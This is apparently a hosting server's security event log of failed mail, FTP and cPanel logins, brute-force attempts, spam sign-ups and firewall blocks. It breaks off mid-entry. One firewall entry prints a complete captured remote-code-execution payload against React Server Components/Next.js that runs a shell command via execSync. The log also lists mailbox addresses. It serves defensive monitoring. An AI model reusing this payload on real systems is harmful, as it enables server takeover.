rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:12:38:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6528368&pdata=https%253A%252F%252Fzephyr.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780663132 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:38:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9970: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.11.3
country_id: 3469034
description:
Jun  5 12:38:58 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.11.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:40:01 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9972: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.246.104.192
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.246.104.192
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:41:02 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9974: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-05 12:41:03 +0000] info [webmaild] 196.170.66.202 - sessou.ea@inger.tg "GET /cpsess6462008284/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:42:02 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9975: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:43:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9976: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 106.13.7.239
country_id: 1814991
description:
Jun  5 12:43:31 ns5 pure-ftpd[1644516]: (?@106.13.7.239) [WARNING] Authentication failed for user [cafeit]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:44:07 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9978: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.121.205.255
country_id: 1814991
description:
2026-06-05 12:43:59 H=([0.0.0.0]) [113.121.205.255]:4220 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:45:07 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9980: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.91.224.224
country_id: 3017382
description:
[2026-06-05 12:45:36 +0000] info [whostmgrd] 87.91.224.224 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:46:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9983: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:47:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9856: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Cash Out Your Enormous Money bonotdamvam.blogspot.pt tT||Email:wfphilpott24@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:12-47.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.192.228.148
country_id: 6252001
domain: lac3.mairie.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:48:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9873: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.190.204.87
country_id: 6252001
description:
Jun  5 12:48:27 ns5 pure-ftpd[1648506]: (?@172.190.204.87) [INFO] New connection from 172.190.204.87


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.190.204.87
country_id: 6252001
description:
Jun  5 12:48:38 ns5 pure-ftpd[1648506]: (?@172.190.204.87) [WARNING] Authentication failed for user [centif]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.170
country_id: 798544
description:
Jun  5 12:49:07 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:49:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9877: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:50:37 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:16898: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.219.234
country_id: 2287781
description:
2026-06-05 12:50:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.219.234]:9879: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.58
country_id: 798544
description:
Jun  5 12:50:17 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.200
country_id: 798544
description:
Jun  5 12:50:35 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:51:18 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:8960: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.200
country_id: 798544
description:
Jun  5 12:50:48 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:52:28 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:6656: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:53:38 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:17920: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.73.123.124
country_id: 2453866
description:
2026-06-05 12:54:08 dovecot_plain authenticator failed for H=([91.92.243.93]) [41.73.123.124]:40650: 535 Incorrect authentication data (set_id=support@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.106.30.157
country_id: 99237
description:
2026-06-05 12:54:22 dovecot_plain authenticator failed for H=([91.92.243.93]) [185.106.30.157]:41732: 535 Incorrect authentication data (set_id=marketing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.59.242.154
country_id: 3686110
description:
2026-06-05 12:53:53 dovecot_plain authenticator failed for H=([91.92.243.93]) [181.59.242.154]:53752: 535 Incorrect authentication data (set_id=admin@ns5.netmaster.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.121.205.255
country_id: 1814991
description:
2026-06-05 12:54:09 H=([0.0.0.0]) [113.121.205.255]:4493 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.171.102.165
country_id: 2017370
description:
2026-06-05 12:54:36 dovecot_plain authenticator failed for H=([91.92.243.93]) [93.171.102.165]:3041: 535 Incorrect authentication data (set_id=contact@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:53:47 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:17921: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:55:44 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:15616: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.219.24.141
country_id: 953987
description:
2026-06-05 12:54:52 dovecot_plain authenticator failed for H=([91.92.243.93]) [102.219.24.141]:55708: 535 Incorrect authentication data (set_id=contato@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.164.182.92
country_id: 3469034
description:
2026-06-05 12:55:08 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.164.182.92]:54269: 535 Incorrect authentication data (set_id=contacto@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.55.226.4
country_id: 3469034
description:
2026-06-05 12:55:25 dovecot_plain authenticator failed for H=([91.92.243.93]) [177.55.226.4]:10176: 535 Incorrect authentication data (set_id=financeiro@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.244.90
country_id: 99237
description:
2026-06-05 12:55:39 dovecot_plain authenticator failed for H=([91.92.243.93]) [62.201.244.90]:56924: 535 Incorrect authentication data (set_id=comercial@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.244.90
country_id: 99237
description:
2026-06-05 12:55:47 dovecot_login authenticator failed for H=([91.92.243.93]) [62.201.244.90]:56924: 535 Incorrect authentication data (set_id=comercial@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.225.248.83
country_id: 1562822
description:
2026-06-05 12:55:59 dovecot_plain authenticator failed for H=([91.92.243.93]) [171.225.248.83]:20532: 535 Incorrect authentication data (set_id=it@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.205.221.161
country_id: 1605651
description:
2026-06-05 12:56:17 dovecot_plain authenticator failed for H=([91.92.243.93]) [223.205.221.161]:40864: 535 Incorrect authentication data (set_id=accounts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.160.170.228
country_id: 3469034
description:
2026-06-05 12:56:34 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.160.170.228]:5393: 535 Incorrect authentication data (set_id=suporte@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.72.52
country_id: 1512440
description:
2026-06-05 12:57:22 dovecot_plain authenticator failed for H=([91.92.243.93]) [84.54.72.52]:58224: 535 Incorrect authentication data (set_id=soporte@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.43.98.92
country_id: 2510769
description:
2026-06-05 12:57:35 dovecot_plain authenticator failed for H=([91.92.243.93]) [193.43.98.92]:33664: 535 Incorrect authentication data (set_id=ventas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.160.182.17
country_id: 3469034
description:
2026-06-05 12:56:50 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.160.182.17]:45866: 535 Incorrect authentication data (set_id=hr@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:56:53 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:26752: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.189.145.36
country_id: 1210997
description:
2026-06-05 12:57:06 dovecot_plain authenticator failed for H=([91.92.243.93]) [103.189.145.36]:57232: 535 Incorrect authentication data (set_id=office@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.103.82
country_id: 798544
description:
Jun  5 12:57:57 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.103.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.43.98.92
country_id: 2510769
description:
2026-06-05 12:58:05 dovecot_plain authenticator failed for H=([91.92.243.93]) [193.43.98.92]:33305: 535 Incorrect authentication data (set_id=global@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.234
country_id: 226074
description:
Jun  5 12:58:16 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:57:54 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:7424: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.183.59.6
country_id: 3658394
description:
2026-06-05 12:57:53 dovecot_plain authenticator failed for H=([91.92.243.93]) [201.183.59.6]:42411: 535 Incorrect authentication data (set_id=clients@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:58:54 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.15
country_id: 690791
description:
2026-06-05 13:00:16 H=([77.83.39.15]) [77.83.39.15]:52220 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<root@mail.niiao.ru> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [05/Jun/2026:12:59:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10326685&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-nations-unies-recrutent%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780664385 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-nations-unies-recrutent/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 12:59:55 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:15232: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.214
country_id: 798544
description:
Jun  5 12:59:58 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:00:57 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:10112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jun  5 13:01:31 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:01:59 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:8832: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.57.188.197
country_id: 3686110
description:
2026-06-05 13:02:29 dovecot_plain authenticator failed for H=(sachears) [181.57.188.197]:60400: 535 Incorrect authentication data (set_id=admin@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jun  5 13:01:45 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:03:00 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:27648: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.0
country_id: 1880251
description:
47.128.122.0 - - [05/Jun/2026:13:03:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606088&pdata=https%253A%252F%252Ftogodailynews.tg%252Fxenophobie-en-afrique-du-sud-adf-togo-interpelle-les-dirigeants-africains%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780664591 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/xenophobie-en-afrique-du-sud-adf-togo-interpelle-les-dirigeants-africains/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:04:10 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:4096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.75
country_id: 1269750
description:
Jun  5 13:05:24 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.139
country_id: 798544
description:
Jun  5 13:04:57 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:05:11 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:06:21 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:14720: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.232
country_id: 3469034
description:
Jun  5 13:06:24 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.107.50.122
country_id: 3469034
description:
Jun  5 13:06:47 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.107.50.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:07:22 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:4480: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:08:32 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:10368: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.35
country_id: 3469034
description:
Jun  5 13:09:42 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:09:42 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:11904: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77093094
abuser: 35.189.184.155
country_id: 1668284
domain: www.la-snb.snb.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:10:43 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.35
country_id: 3469034
description:
Jun  5 13:09:50 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.44
country_id: 1269750
description:
Jun  5 13:10:22 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.190.80.207
country_id: 1880251
description:
[2026-06-05 13:10:27 +0000] info [cpaneld] 146.190.80.207 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.246.137
country_id: 798544
description:
Jun  5 13:11:18 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.246.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:11:44 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:22784: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Tap Into Your Reward Without Delay bonotdamvam.blogspot.com W4||Email:jennster45@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:13-11.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.46.194
country_id: 2395170
description:
Jun  5 13:10:48 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.46.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:12:45 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:2816: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.67.11.9
country_id: 1814991
description:
Jun  5 13:13:12 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.67.11.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.67.11.9
country_id: 1814991
description:
2026-06-05 13:13:14 dovecot_login authenticator failed for H=([183.104.13.144]) [113.67.11.9]:5968: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.128.36.92
country_id: 2635167
description:
2026-06-05 13:13:07 dovecot_plain authenticator failed for H=(ns3s23mzta6civ5bp2lyw5x9t4g) [178.128.36.92]:34124: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:13:55 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:6912: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun  5 13:16:35 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:16:07 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:23296: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.39.202
country_id: 1149361
description:
2026-06-05 13:17:15 H=([149.54.39.202]) [149.54.39.202]:61720 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
